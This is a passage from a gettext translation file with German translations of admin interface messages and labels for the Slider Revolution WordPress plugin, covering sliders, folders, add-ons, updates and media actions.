"Template Slider Installation Failed" msgstr "Template Slider Installation fehlgeschlagen" #: admin/revslider-admin.class.php:669 msgid "Slide duplication failed" msgstr "Slide Duplikation fehlgeschlagen" #: admin/revslider-admin.class.php:753 msgid "Slider Deleted" msgstr "Slider gelöscht" #: admin/revslider-admin.class.php:765 msgid "Duplication Failed" msgstr "Duplikation fehlgeschlagen" #: admin/revslider-admin.class.php:773 msgid "Slide Saved" msgstr "Slide gespeichert" #: admin/revslider-admin.class.php:775 msgid "Slide not found" msgstr "Slide nicht gefunden" #: admin/revslider-admin.class.php:829 admin/revslider-admin.class.php:1668 #: admin/revslider-admin.class.php:1673 msgid "Slider not found" msgstr "Slider nicht gefunden" #: admin/revslider-admin.class.php:863 msgid "Posts" msgstr "Beiträge" #: admin/revslider-admin.class.php:890 msgid "Global Settings saved/updated" msgstr "Globale Einstellungen gespeichert/aktualisiert" #: admin/revslider-admin.class.php:892 admin/revslider-admin.class.php:895 msgid "Global Settings not saved/updated" msgstr "Globale Einstellungen nicht gespeichert/aktualisiert" #: admin/revslider-admin.class.php:903 msgid "Navigation preset saved/updated" msgstr "Navigationsvoreinstellung gespeichert/aktualisiert" #: admin/revslider-admin.class.php:906 msgid "Preset could not be saved/values are the same" msgstr "Voreinstellung konnte nicht gespeichert werden / Werte sind gleich" #: admin/revslider-admin.class.php:917 msgid "Navigation preset deleted" msgstr "Navigationsvoreinstellung gelöscht" #: admin/revslider-admin.class.php:950 msgid "Animation deleted" msgstr "Animation gelöscht" #: admin/revslider-admin.class.php:952 msgid "Deletion failed" msgstr "Löschen fehlgeschlagen" #: admin/revslider-admin.class.php:970 msgid "Animation saved" msgstr "Animation gespeichert" #: admin/revslider-admin.class.php:973 msgid "Animation could not be saved" msgstr "Animation konnte nicht gespeichert werden" #: admin/revslider-admin.class.php:1005 admin/revslider-admin.class.php:1011 msgid "Slider could not be loaded" msgstr "Slider konnte nicht geladen werden" #: admin/revslider-admin.class.php:1074 msgid "New Folder" msgstr "Neuer Ordner" #: admin/revslider-admin.class.php:1081 msgid "Folder Creation Failed" msgstr "Fehler bei der Ordnererstellung" #: admin/revslider-admin.class.php:1090 msgid "Folder Deleted" msgstr "Ordner gelöscht" #: admin/revslider-admin.class.php:1092 msgid "Folder Deletion Failed" msgstr "Ordnerlöschung fehlgeschlagen" #: admin/revslider-admin.class.php:1101 msgid "Tags Updated" msgstr "Tags aktualisiert" #: admin/revslider-admin.class.php:1103 msgid "Failed to Update Tags" msgstr "Tags konnten nicht aktualisiert werden" #: admin/revslider-admin.class.php:1114 msgid "Slider Moved to Folder" msgstr "Slider in Ordner verschoben" #: admin/revslider-admin.class.php:1116 msgid "Failed to Move Slider Into Folder" msgstr "Fehler beim Verschieben des Sliders in den Ordner" #: admin/revslider-admin.class.php:1127 msgid "Title updated" msgstr "Titel aktualisiert" #: admin/revslider-admin.class.php:1129 msgid "Failed to update Title" msgstr "Fehler beim Aktualisieren des Titels" #: admin/revslider-admin.class.php:1135 msgid "Slider Revolution Preview" msgstr "Slider Revolution Vorschau" #: admin/revslider-admin.class.php:1250 msgid "Invalid Email" msgstr "Ungültige E-Mail" #: admin/revslider-admin.class.php:1253 msgid "Success! Please check your E-Mails to finish the subscription" msgstr "" "Erfolgreich! Bitte überprüfen Sie Ihre E-Mails, um das Abonnement " "abzuschließen" #: admin/revslider-admin.class.php:1256 msgid "Invalid Email/Could not connect to the Newsletter server" msgstr "" "Ungültige E-Mail / Verbindung zum Newsletter-Server konnte nicht hergestellt " "werden" #: admin/revslider-admin.class.php:1259 msgid "No Email given" msgstr "Keine E-Mail angegeben" #: admin/revslider-admin.class.php:1296 msgid "Favorite Changed" msgstr "Favorit geändert" #: admin/revslider-admin.class.php:1323 msgid "Object could not be loaded" msgstr "Objekt konnte nicht geladen werden" #: admin/revslider-admin.class.php:1333 msgid "Video cover could not be loaded" msgstr "Video Cover konnte nicht geladen werden" #: admin/revslider-admin.class.php:1357 msgid "Could not create Slide" msgstr "Slide konnte nicht erstellt werden" #: admin/revslider-admin.class.php:1377 msgid "Could not create Slider" msgstr "Slider konnte nicht erstellt werden" #: admin/revslider-admin.class.php:1408 msgid "AddOn could not be activated" msgstr "AddOn konnte nicht aktiviert werden" #: admin/revslider-admin.class.php:1420 msgid "AddOn deactivated" msgstr "AddOn deaktiviert" #: admin/revslider-admin.class.php:1422 msgid "AddOn could not be deactivated" msgstr "AddOn konnte nicht deaktiviert werden" #: admin/revslider-admin.class.php:1549 msgid "Successfully fetched Facebook albums" msgstr "Facebook-Alben erfolgreich abgerufen" #: admin/revslider-admin.class.php:1551 msgid "Could not fetch Facebook albums" msgstr "Facebook-Alben konnten nicht abgerufen werden" #: admin/revslider-admin.class.php:1555 msgid "Cleared Albums" msgstr "Alben geleert" #: admin/revslider-admin.class.php:1564 msgid "Successfully fetched flickr photosets" msgstr "Flickr-Fotosets wurden erfolgreich abgerufen" #: admin/revslider-admin.class.php:1566 msgid "Could not fetch flickr photosets" msgstr "Flickr-Fotosets konnten nicht abgerufen werden" #: admin/revslider-admin.class.php:1571 msgid "Cleared Photosets" msgstr "Fotosets geleert" #: admin/revslider-admin.class.php:1573 msgid "No User URL - Could not fetch flickr photosets" msgstr "Keine Benutzer-URL - flickr-Fotosets konnten nicht abgerufen werden" #: admin/revslider-admin.class.php:1576 msgid "No API KEY - Could not fetch flickr photosets" msgstr "Kein API KEY - Flickr-Fotosets konnten nicht abgerufen werden" #: admin/revslider-admin.class.php:1585 msgid "Successfully fetched YouTube playlists" msgstr "YouTube-Wiedergabelisten wurden erfolgreich abgerufen" #: admin/revslider-admin.class.php:1587 msgid "Could not fetch YouTube playlists" msgstr "YouTube-Wiedergabelisten konnten nicht abgerufen werden" #: admin/revslider-admin.class.php:1595 msgid "Slider Revolution database structure was updated" msgstr "Slider Revolution Datenbankstruktur wurde aktualisiert" #: admin/revslider-admin.class.php:1626 msgid "No response on action" msgstr "Keine Antwort auf Aktion" #: admin/revslider-admin.class.php:1677 msgid "No Data Received" msgstr "Keine Daten empfangen" #: admin/revslider-admin.class.php:1686 msgid "Loading Error" msgstr "Ladefehler" #: admin/revslider-admin.class.php:1686 msgid "Loading Error: " msgstr "Ladefehler: " #: admin/revslider-admin.class.php:1759 msgid "Please Wait a Moment" msgstr "Bitte warte einen Moment" #: admin/revslider-admin.class.php:1760 admin/revslider-admin.class.php:1857 msgid "Ooppps...." msgstr "Uuppps ...." #: admin/revslider-admin.class.php:1761 admin/revslider-admin.class.php:1858 msgid "None of the Settings changed. There is Nothing to Save" msgstr "Keine der Einstellungen wurde geändert. Es gibt nichts zu speichern" #: admin/revslider-admin.class.php:1762 admin/revslider-admin.class.php:1859 msgid "Enter Preset Name to Save or Delete" msgstr "Voreingestellten Namen eingeben, um zu speichern oder zu löschen" #: admin/revslider-admin.class.php:1763 admin/revslider-admin.class.php:1860 msgid "Custom Size is currently Disabled" msgstr "Benutzerdefinierte Größe ist derzeit deaktiviert" #: admin/revslider-admin.class.php:1764 admin/revslider-admin.class.php:1861 msgid "" "The Current Size is set to calculate the Layer grid sizes Automatically.
            " "Do you want to continue with Custom Sizes or do you want to keep the " "Automatically generated sizes ?" msgstr "" "Die aktuelle Größe ist so eingestellt, dass die Layer Rastergröße " "automatisch berechnet wird.
            Möchten Sie mit benutzerdefinierten Größen " "fortfahren oder die automatisch generierten Größen beibehalten?" #: admin/revslider-admin.class.php:1765 admin/revslider-admin.class.php:1862 msgid "Keep Auto Sizes" msgstr "Automatische Größen beibehalten" #: admin/revslider-admin.class.php:1766 admin/revslider-admin.class.php:1863 msgid "Use Custom Sizes" msgstr "Benutzerdefinierte Größen verwenden" #: admin/revslider-admin.class.php:1767 admin/revslider-admin.class.php:1864 msgid "What should happen Next?" msgstr "Was soll als nächstes passieren?" #: admin/revslider-admin.class.php:1768 admin/revslider-admin.class.php:1865 msgid "Need Attention by removing" msgstr "Braucht Aufmerksamkeit durch Entfernen" #: admin/revslider-admin.class.php:1769 admin/revslider-admin.class.php:1866 msgid "Where do you want to move the Inherited Layers?" msgstr "Wohin möchten Sie die geerbten Layer verschieben?" #: admin/revslider-admin.class.php:1770 admin/revslider-admin.class.php:1867 msgid "Drag & Drop Import File" msgstr "Drag & Drop Import-Datei" #: admin/revslider-admin.class.php:1771 admin/revslider-admin.class.php:1868 msgid "or" msgstr "oder" #: admin/revslider-admin.class.php:1772 admin/revslider-admin.class.php:1869 msgid "Click to Choose" msgstr "Klicken zum Auswählen" #: admin/revslider-admin.class.php:1773 admin/revslider-admin.class.php:1870 msgid "Embed" msgstr "Einbetten" #: admin/revslider-admin.class.php:1774 admin/revslider-admin.class.php:1871 msgid "Export" msgstr "Export" #: admin/revslider-admin.class.php:1775 admin/revslider-admin.class.php:1873 #: admin/views/builder-nav-forms.php:230 admin/views/builder-nav-forms.php:370 #: admin/views/builder-nav-forms.php:557 admin/views/builder-nav-forms.php:741 msgid "Delete" msgstr "Löschen" #: admin/revslider-admin.class.php:1776 admin/revslider-admin.class.php:1874 #: admin/views/builder.php:141 msgid "Duplicate" msgstr "Duplikat" #: admin/revslider-admin.class.php:1777 admin/revslider-admin.class.php:1875 #: admin/views/modals-general.php:40 admin/views/builder.php:303 msgid "Preview" msgstr "Vorschau" #: admin/revslider-admin.class.php:1778 admin/revslider-admin.class.php:1876 #: admin/views/modals-builder.php:582 msgid "Tags" msgstr "Tags" #: admin/revslider-admin.class.php:1779 admin/revslider-admin.class.php:1877 msgid "Folder" msgstr "Ordner" #: admin/revslider-admin.class.php:1780 admin/revslider-admin.class.php:1878 msgid "Rename" msgstr "Umbenennen" #: admin/revslider-admin.class.php:1781 admin/revslider-admin.class.php:1879 msgid "Root Level" msgstr "Wurzelebene" #: admin/revslider-admin.class.php:1782 admin/revslider-admin.class.php:1880 #: admin/includes/shortcode_generator/shortcode_generator.class.php:122 msgid "Root" msgstr "Wurzel" #: admin/revslider-admin.class.php:1783 admin/revslider-admin.class.php:1881 #: admin/includes/shortcode_generator/shortcode_generator.class.php:148 msgid "Show" msgstr "Zeige" #: admin/revslider-admin.class.php:1784 admin/revslider-admin.class.php:1882 #: admin/includes/shortcode_generator/shortcode_generator.class.php:149 msgid "Per Page" msgstr "Pro Seite" #: admin/revslider-admin.class.php:1791 #: admin/includes/shortcode_generator/shortcode_generator.class.php:112 msgid "© Copyright & License Info" msgstr "© Copyright & Lizenzinfo" #: admin/revslider-admin.class.php:1792 admin/views/overview.php:125 msgid "Registered" msgstr "Registriert" #: admin/revslider-admin.class.php:1793 msgid "Unregistered" msgstr "Nicht registriert" #: admin/revslider-admin.class.php:1794 msgid "Dismiss Messages" msgstr "Nachrichten schließen" #: admin/revslider-admin.class.php:1795 msgid "Some AddOns have new versions available" msgstr "Für einige AddOns sind neue Versionen verfügbar" #: admin/revslider-admin.class.php:1796 msgid "New Version Available. Please Update" msgstr "Neue Version verfügbar. Bitte aktualisieren" #: admin/revslider-admin.class.php:1797 msgid "AddOns Outdated. Please Update" msgstr "AddOns veraltet. Bitte aktualisieren" #: admin/revslider-admin.class.php:1798 msgid "Plugin is not Registered" msgstr "Plugin ist nicht registriert" #: admin/revslider-admin.class.php:1799 msgid "Register to unlock Premium Features" msgstr "Registrieren Sie sich, um die Premium-Funktionen freizuschalten" #: admin/revslider-admin.class.php:1800 msgid "Register to Unlock all Features" msgstr "Registrieren Sie sich, um alle Funktionen freizuschalten" #: admin/revslider-admin.class.php:1801 msgid "Register to unlock AddOns" msgstr "Registrieren Sie sich, um AddOns freizuschalten" #: admin/revslider-admin.class.php:1802 msgid "Register to unlock Support" msgstr "Registrieren Sie sich, um den Support freizuschalten" #: admin/revslider-admin.class.php:1803 msgid "Register to unlock Library" msgstr "Registrieren Sie sich, um die Bibliothek freizuschalten" #: admin/revslider-admin.class.php:1804 msgid "Register to unlock Updates" msgstr "Registrieren Sie sich, um Updates freizuschalten" #: admin/revslider-admin.class.php:1805 msgid "Register to unlock Templates" msgstr "Registrieren Sie sich, um Vorlagen freizuschalten" #: admin/revslider-admin.class.php:1806 msgid "Do you want to start the Update process?" msgstr "Möchten Sie den Update Vorgang starten?" #: admin/revslider-admin.class.php:1807 admin/revslider-admin.class.php:1889 #: admin/views/overview.php:98 msgid "Update Now" msgstr "Jetzt aktualisieren" #: admin/revslider-admin.class.php:1808 msgid "Higher Level" msgstr "Höheres Level" #: admin/revslider-admin.class.php:1809 msgid "Current Level" msgstr "Aktuelles Level" #: admin/revslider-admin.class.php:1810 msgid "Other Folders" msgstr "Andere Ordner" #: admin/revslider-admin.class.php:1811 msgid "Parent Level" msgstr "Übergeordnete Ebene" #: admin/revslider-admin.class.php:1812 msgid "from" msgstr "von" #: admin/revslider-admin.class.php:1813 msgid "to" msgstr "zu" #: admin/revslider-admin.class.php:1814 msgid "Action Needed" msgstr "Aktion erforderlich" #: admin/revslider-admin.class.php:1815 msgid "Done" msgstr "Erledigt" #: admin/revslider-admin.class.php:1816 msgid "Update All" msgstr "Alle aktualisieren" #: admin/revslider-admin.class.php:1817 msgid "Update Later" msgstr "Später aktualisieren" #: admin/revslider-admin.class.php:1818 msgid "The following AddOns require an update:" msgstr "Die folgenden AddOns erfordern ein Update:" #: admin/revslider-admin.class.php:1819 msgid "AddOns need attention" msgstr "AddOns brauchen Aufmerksamkeit" #: admin/revslider-admin.class.php:1820 msgid "Updating Plugin Failed" msgstr "Aktualisierung des Plugins fehlgeschlagen" #: admin/revslider-admin.class.php:1821 msgid "Updating Plugin..." msgstr "Plugin wird aktualisiert ..." #: admin/revslider-admin.class.php:1822 msgid "License validation issue Occured. Please contact our Support." msgstr "" "Lizenzvalidierungsproblem ist aufgetreten. Bitte wenden Sie sich an unseren " "Support." #: admin/revslider-admin.class.php:1823 msgid "Back to Overview" msgstr "Zurück zur Übersicht" #: admin/revslider-admin.class.php:1824 msgid "Page is reloading..." msgstr "Seite wird neu geladen ..." #: admin/revslider-admin.class.php:1825 msgid "Update Plugin" msgstr "Aktualisiere Plugin" #: admin/revslider-admin.class.php:1826 msgid "Slider Revolution Plugin updated Successfully." msgstr "Slider Revolution Plugin erfolgreich aktualisiert." #: admin/revslider-admin.class.php:1827 msgid "Slider Revolution Plugin updated Failure:" msgstr "Slider Revolution Plugin Aktualisierungs Fehler:" #: admin/revslider-admin.class.php:1828 msgid "Slider Revolution Plugin updated Successfully to" msgstr "Slider Revolution Plugin erfolgreich aktualisiert auf" #: admin/revslider-admin.class.php:1829 msgid "Reload Page" msgstr "Seite neuladen" #: admin/revslider-admin.class.php:1830 #: admin/includes/shortcode_generator/shortcode_generator.class.php:123 msgid "Loading" msgstr "Laden" #: admin/revslider-admin.class.php:1831 #: admin/includes/shortcode_generator/shortcode_generator.class.php:124 msgid "Elements" msgstr "Elemente" #: admin/revslider-admin.class.php:1832 #: admin/includes/shortcode_generator/shortcode_generator.class.php:125 msgid "Loading Thumbnails..." msgstr "Vorschaubilder werden geladen ..." #: admin/revslider-admin.class.php:1833 msgid "jQuery Triggered" msgstr "jQuery ausgelöst" #: admin/revslider-admin.class.php:1834 msgid "<a> Tag Link" msgstr "< a> Tag-Link" #: admin/revslider-admin.class.php:1835 #: admin/views/builder-slider-forms.php:919 msgid "First Slide" msgstr "Erster Slide" #: admin/revslider-admin.class.php:1836 admin/revslider-admin.class.php:1990 #: admin/views/modals-builder.php:448 admin/views/builder-layer-forms.php:360 msgid "Last Slide" msgstr "Letzter Slide" #: admin/revslider-admin.class.php:1837 admin/revslider-admin.class.php:1916 #: admin/views/modals-builder.php:406 msgid "Next Slide" msgstr "Nächster Slide" #: admin/revslider-admin.class.php:1838 admin/revslider-admin.class.php:1917 #: admin/views/modals-builder.php:400 msgid "Previous Slide" msgstr "Vorheriger Slide" #: admin/revslider-admin.class.php:1839 msgid "" "Some Settings in Slider Source may not complete.
            Please " "Complete All Settings in Slider Sources." msgstr "" "Einige Einstellungen in der Slider Quelle sind möglicherweise nicht " "komplett .
            Bitte vervollständigen Sie alle Einstellungen in " "den Slider Quellen." #: admin/revslider-admin.class.php:1840 msgid "" "Some Layers are Locked and/or Invisible." "
            Change Status in Timeline." msgstr "" "Einige Layer sind gesperrt und / oder " "unsichtbar .
            Ändern Sie den Status in der Zeitleiste." #: admin/revslider-admin.class.php:1841 msgid "Editor is Loading..." msgstr "Editor wird geladen ..." #: admin/revslider-admin.class.php:1842 msgid "Adding new Blank Module..." msgstr "Neues leeres Modul hinzufügen ..." #: admin/revslider-admin.class.php:1843 msgid "Opening" msgstr "Öffnet" #: admin/revslider-admin.class.php:1844 msgid "Featured Images" msgstr "Featured Images" #: admin/revslider-admin.class.php:1845 admin/revslider-admin.class.php:1948 #: admin/includes/shortcode_generator/shortcode_generator.class.php:113 msgid "Images" msgstr "Bilder" #: admin/revslider-admin.class.php:1846 admin/views/builder-slider-forms.php:99 #: admin/views/builder-slider-forms.php:1244 #: admin/views/builder-layer-forms.php:325 #: admin/views/builder-layer-forms.php:326 #: admin/views/builder-layer-forms.php:647 #: admin/views/builder-layer-forms.php:1027 msgid "None" msgstr "Nichts" #: admin/revslider-admin.class.php:1847 admin/views/builder-slide-forms.php:694 #: admin/views/builder-slide-forms.php:703 #: admin/views/builder-layer-forms.php:570 msgid "Select" msgstr "Wählen" #: admin/revslider-admin.class.php:1848 admin/views/builder-slide-forms.php:695 #: admin/views/builder-slide-forms.php:704 #: admin/views/builder-layer-forms.php:309 msgid "Reset" msgstr "Reset" #: admin/revslider-admin.class.php:1849 #: admin/views/builder-slider-forms.php:462 admin/views/modals-builder.php:234 #: admin/views/modals-builder.php:322 admin/views/builder-slide-forms.php:175 #: admin/views/builder-slide-forms.php:187 #: admin/views/builder-layer-forms.php:1089 msgid "Custom" msgstr "Angepasst" #: admin/revslider-admin.class.php:1850 msgid "OUT" msgstr "AUS" #: admin/revslider-admin.class.php:1851 msgid "IN" msgstr "REIN" #: admin/revslider-admin.class.php:1852 admin/views/builder-nav-forms.php:16 msgid "Navigation Options" msgstr "Navigationsoptionen" #: admin/revslider-admin.class.php:1853 admin/views/builder-slider-forms.php:52 msgid "Module General Options" msgstr "Modul Allgemeine Optionen" #: admin/revslider-admin.class.php:1854 admin/views/builder-slide-forms.php:17 msgid "Slide Options" msgstr "Slide Optionen" #: admin/revslider-admin.class.php:1855 msgid "Layer Options" msgstr "Layer Optionen" #: admin/revslider-admin.class.php:1856 msgid "Set a Slide Background Image to use this feature" msgstr "" "Legen Sie ein Slidehintergrundbild fest, um diese Funktion zu verwenden" #: admin/revslider-admin.class.php:1872 msgid "HTML" msgstr "HTML" #: admin/revslider-admin.class.php:1883 msgid "Release to Upload file" msgstr "Zum Hochladen loslassen" #: admin/revslider-admin.class.php:1884 msgid "Module .zip" msgstr "Modul .zip" #: admin/revslider-admin.class.php:1885 msgid "Processing Import of" msgstr "Verarbeitet Import von" #: admin/revslider-admin.class.php:1886 msgid "An Error Occured while importing" msgstr "Beim Importieren ist ein Fehler aufgetreten" #: admin/revslider-admin.class.php:1887 msgid "File Succesfully Imported" msgstr "Datei erfolgreich importiert" #: admin/revslider-admin.class.php:1888 msgid "Import Report" msgstr "Import Bericht" #: admin/revslider-admin.class.php:1890 msgid "Activate To Update" msgstr "Aktivieren zum Aktualisieren" #: admin/revslider-admin.class.php:1891 msgid "Activated" msgstr "Aktiviert" #: admin/revslider-admin.class.php:1892 msgid "Not Activated" msgstr "Nicht aktiviert" #: admin/revslider-admin.class.php:1893 msgid "Register this Code" msgstr "Registriere diesen Codes" #: admin/revslider-admin.class.php:1894 admin/views/overview.php:134 msgid "Deregister this Code" msgstr "Deregistrieren dieses Codes" #: admin/revslider-admin.class.php:1895 msgid "Standard Module Embedding" msgstr "Standardmodul-Einbettung" #: admin/revslider-admin.class.php:1896 msgid "For the pages and posts editor insert the Shortcode:" msgstr "" "Geben Sie für den Seiten- und Artikel -Editor den folgenden " "Shortcode ein:" #: admin/revslider-admin.class.php:1897 msgid "" "To Use it as Modal on pages and posts editor insert the " "Shortcode:" msgstr "" "Um es als Modal auf Seiten und Artikeln zu verwenden, " "geben Sie den Shortcode ein:" #: admin/revslider-admin.class.php:1898 msgid "" "From the widgets panel drag the \"Revolution Module\" widget to the " "desired sidebar." msgstr "" "Ziehen Sie im Widgets-Bedienfeld das Widget \"Revolution Module\" " "in die gewünschte Seitenleiste." #: admin/revslider-admin.class.php:1899 msgid "Advanced Module Embedding" msgstr "Erweiterte Modul Einbettung" #: admin/revslider-admin.class.php:1900 msgid "For the theme html use:" msgstr "Für das Theme HTML verwenden Sie:" #: admin/revslider-admin.class.php:1901 msgid "To add the slider only to the homepage, use:" msgstr "Um den Slider nur zur Startseite hinzuzufügen, verwenden Sie:" #: admin/revslider-admin.class.php:1902 msgid "To add the slider only to single Pages, use:" msgstr "Um den Slider nur zu einzelnen Seiten hinzuzufügen, verwenden Sie:" #: admin/revslider-admin.class.php:1903 msgid "Select a Layer" msgstr "Wählen Sie einen Layer aus" #: admin/revslider-admin.class.php:1904 msgid "Link Actions" msgstr "Verknüpfungsaktionen" #: admin/revslider-admin.class.php:1905 msgid "Slide Actions" msgstr "Slide Aktionen" #: admin/revslider-admin.class.php:1906 msgid "Layer Actions" msgstr "Layer Aktionen" #: admin/revslider-admin.class.php:1907 msgid "Media Actions" msgstr "Medien Aktionen" #: admin/revslider-admin.class.php:1908 msgid "Fullscreen Actions" msgstr "Vollbild Aktionen" #: admin/revslider-admin.class.php:1909 msgid "Advanced Actions" msgstr "Erweiterte Aktionen" #: admin/revslider-admin.class.php:1910 msgid "Simple Link" msgstr "Einfacher Link" #: admin/revslider-admin.class.php:1911 msgid "Call Back" msgstr "Call Back" #: admin/revslider-admin.class.php:1912 admin/revslider-admin.class.php:1923 msgid "Open Slider Modal" msgstr "Öffne Slider Modal" #: admin/revslider-admin.class.php:1913 msgid "Scroll below Slider" msgstr "Unter Slider scrollen" #: admin/revslider-admin.class.php:1914 msgid "Scroll To ID" msgstr "Zu ID scrollen" #: admin/revslider-admin.class.php:1915 admin/views/modals-builder.php:782 msgid "Jump to Slide" msgstr "Zu Slide springen" #: admin/revslider-admin.class.php:1918 msgid "Next Frame" msgstr "Nächster Frame" #: admin/revslider-admin.class.php:1919 msgid "Previous Frame" msgstr "Vorheriger Frame" #: admin/revslider-admin.class.php:1920 admin/views/modals-builder.php:388 #: admin/views/builder-slide-forms.php:564 msgid "Pause Slider" msgstr "Slider anhalten" #: admin/revslider-admin.class.php:1921 msgid "Play Slide" msgstr "Slide abspielen" #: admin/revslider-admin.class.php:1922 msgid "Close Slider Modal" msgstr "Schließe Slider Modal" #: admin/revslider-admin.class.php:1924 msgid "Toggle Slider" msgstr "Slider umschalten" #: admin/revslider-admin.class.php:1925 msgid "Go to 1st Frame " msgstr "Gehe zum 1. Frame " #: admin/revslider-admin.class.php:1926 msgid "Go to Last Frame" msgstr "Gehe zum letzten Frame" #: admin/revslider-admin.class.php:1927 msgid "Go to Frame \"N\"" msgstr "Gehe zu Frame \"N \"" #: admin/revslider-admin.class.php:1928 msgid "Toggle 1st / Last Frame" msgstr "1. / letzten Frame umschalten" #: admin/revslider-admin.class.php:1929 msgid "Toggle \"N/M\" Frames" msgstr "\"N/M\" Frames umschalten" #: admin/revslider-admin.class.php:1930 msgid "Start Media" msgstr "Medien starten" #: admin/revslider-admin.class.php:1931 msgid "Stop Media" msgstr "Medien stoppen" #: admin/revslider-admin.class.php:1932 msgid "Toggle Media" msgstr "Medien umschalten" #: admin/revslider-admin.class.php:1933 msgid "Mute Media" msgstr "Medien Ton aus" #: admin/revslider-admin.class.php:1934 msgid "Unmute Media" msgstr "Medien Ton an" #: admin/revslider-admin.class.php:1935 msgid "Toggle Mute Media" msgstr "Umschalten Ton An/Aus Medien" #: admin/revslider-admin.class.php:1936 msgid "Toggle Mute All Media" msgstr "Umschalten Alle Medien Ton An/Aus" #: admin/revslider-admin.class.php:1937 msgid "Toggle Fullscreen" msgstr "Vollbild umschalten" #: admin/revslider-admin.class.php:1938 msgid "Enter Fullscreen" msgstr "Vollbildmodus aktivieren" #: admin/revslider-admin.class.php:1939 msgid "Exit Fullscreen" msgstr "Vollbild beenden" #: admin/revslider-admin.class.php:1940 msgid "Simulate Click" msgstr "Klick simulieren" #: admin/revslider-admin.class.php:1941 msgid "Toggle Class" msgstr "Klasse umschalten" #: admin/revslider-admin.class.php:1942 admin/views/builder-layer-forms.php:228 #: admin/views/builder-layer-forms.php:862 msgid "Disabled" msgstr "Deaktiviert" #: admin/revslider-admin.class.php:1943 msgid "Background Video" msgstr "Hintergrundvideo" #: admin/revslider-admin.class.php:1944 admin/revslider-admin.class.php:1945 msgid "Video in Active Slide" msgstr "Video im aktiven Slide" #: admin/revslider-admin.class.php:1946 admin/views/builder-layer-forms.php:419 #: admin/includes/shortcode_generator/shortcode_generator.class.php:154 msgid "Behavior" msgstr "Verhalten" #: admin/revslider-admin.class.php:1947 admin/views/modals-builder.php:722 msgid "Add Action to " msgstr "Aktion hinzufügen zu " #: admin/revslider-admin.class.php:1949 #: admin/includes/shortcode_generator/shortcode_generator.class.php:114 msgid "Layer Objects" msgstr "Layerobjekte" #: admin/revslider-admin.class.php:1950 #: admin/includes/shortcode_generator/shortcode_generator.class.php:115 msgid "Objects" msgstr "Objekte" #: admin/revslider-admin.class.php:1951 #: admin/includes/shortcode_generator/shortcode_generator.class.php:116 msgid "Own Modules" msgstr "Eigene Module" #: admin/revslider-admin.class.php:1952 #: admin/includes/shortcode_generator/shortcode_generator.class.php:117 msgid "Font Icons" msgstr "Schrift Icons" #: admin/revslider-admin.class.php:1953 #: admin/includes/shortcode_generator/shortcode_generator.class.php:118 msgid "Module Templates" msgstr "Modul Vorlagen" #: admin/revslider-admin.class.php:1954 #: admin/includes/shortcode_generator/shortcode_generator.class.php:119 msgid "Videos" msgstr "Videos" #: admin/revslider-admin.class.php:1955 #: admin/includes/shortcode_generator/shortcode_generator.class.php:120 msgid "SVG's" msgstr "SVG's" #: admin/revslider-admin.class.php:1956 #: admin/includes/shortcode_generator/shortcode_generator.class.php:121 msgid "Favorites" msgstr "Favoriten" #: admin/revslider-admin.class.php:1957 #: admin/includes/shortcode_generator/shortcode_generator.class.php:128 msgid "Installed" msgstr "Installiert" #: admin/revslider-admin.class.php:1958 admin/revslider-admin.class.php:2018 #: admin/includes/shortcode_generator/shortcode_generator.class.php:129 msgid "Not Installed" msgstr "Nicht installiert" #: admin/revslider-admin.class.php:1959 #: admin/includes/shortcode_generator/shortcode_generator.class.php:130 msgid "Setup Notes" msgstr "Setup Hinweise" #: admin/revslider-admin.class.php:1960 #: admin/includes/shortcode_generator/shortcode_generator.class.php:131 msgid "Requirements" msgstr "Voraussetzungen" #: admin/revslider-admin.class.php:1961 admin/views/overview.php:93 #: admin/includes/shortcode_generator/shortcode_generator.class.php:132 msgid "Installed Version" msgstr "Installierte Version" #: admin/revslider-admin.class.php:1962 msgid "Use LineBreaks only in Columns" msgstr "Verwenden Sie Zeilenumbrüche nur in Spalten" #: admin/revslider-admin.class.php:1963 admin/views/overview.php:95 #: admin/includes/shortcode_generator/shortcode_generator.class.php:133 msgid "Available Version" msgstr "Verfügbare Version" #: admin/revslider-admin.class.php:1964 #: admin/includes/shortcode_generator/shortcode_generator.class.php:134 msgid "Install Template Package" msgstr "Installieren Sie das Vorlagenpaket" #: admin/revslider-admin.class.php:1965 #: admin/includes/shortcode_generator/shortcode_generator.class.php:135 msgid "Install Template" msgstr "Vorlage installieren" #: admin/revslider-admin.class.php:1966 msgid "Installing Template" msgstr "Vorlage installieren" #: admin/revslider-admin.class.php:1967 #: admin/includes/shortcode_generator/shortcode_generator.class.php:140 msgid "Search" msgstr "Suche" #: admin/revslider-admin.class.php:1968 #: admin/includes/shortcode_generator/shortcode_generator.class.php:141 msgid "FOLDER" msgstr "ORDNER" #: admin/revslider-admin.class.php:1969 #: admin/includes/shortcode_generator/shortcode_generator.class.php:126 msgid "MODULE" msgstr "MODUL" #: admin/revslider-admin.class.php:1970 #: admin/includes/shortcode_generator/shortcode_generator.class.php:142 msgid "OBJECT" msgstr "OBJEKT" #: admin/revslider-admin.class.php:1971 #: admin/includes/shortcode_generator/shortcode_generator.class.php:127 msgid "PACKAGE" msgstr "PAKET" #: admin/revslider-admin.class.php:1972 #: admin/includes/shortcode_generator/shortcode_generator.class.php:143 msgid "IMAGE" msgstr "BILD" #: admin/revslider-admin.class.php:1973 #: admin/includes/shortcode_generator/shortcode_generator.class.php:144 msgid "VIDEO" msgstr "VIDEO" #: admin/revslider-admin.class.php:1974 #: admin/includes/shortcode_generator/shortcode_generator.class.php:145 msgid "ICON" msgstr "ICON" #: admin/revslider-admin.class.php:1975 admin/views/builder-layer-forms.php:541 #: admin/includes/shortcode_generator/shortcode_generator.class.php:146 msgid "SVG" msgstr "SVG" #: admin/revslider-admin.class.php:1976 #: admin/includes/shortcode_generator/shortcode_generator.class.php:147 msgid "FONT" msgstr "SCHRIFTART" #: admin/revslider-admin.class.php:1977 #: admin/includes/shortcode_generator/shortcode_generator.class.php:137 msgid "Re-Download Online" msgstr "Erneut Online herunterladen" #: admin/revslider-admin.class.php:1978 #: admin/includes/shortcode_generator/shortcode_generator.class.php:138 msgid "Create Blank Page" msgstr "Leere Seite erstellen" #: admin/revslider-admin.class.php:1979 #: admin/includes/shortcode_generator/shortcode_generator.class.php:139 msgid "Please Wait a moment" msgstr "Bitte warte einen Moment" #: admin/revslider-admin.class.php:1980 msgid "Changing Screen Size" msgstr "Ändern der Bildschirmgröße" #: admin/revslider-admin.class.php:1981 msgid "Headlines" msgstr "Überschriften" #: admin/revslider-admin.class.php:1982 admin/views/builder-slider-forms.php:57 #: admin/views/builder-slider-forms.php:450 #: admin/views/builder-slider-forms.php:456 #: 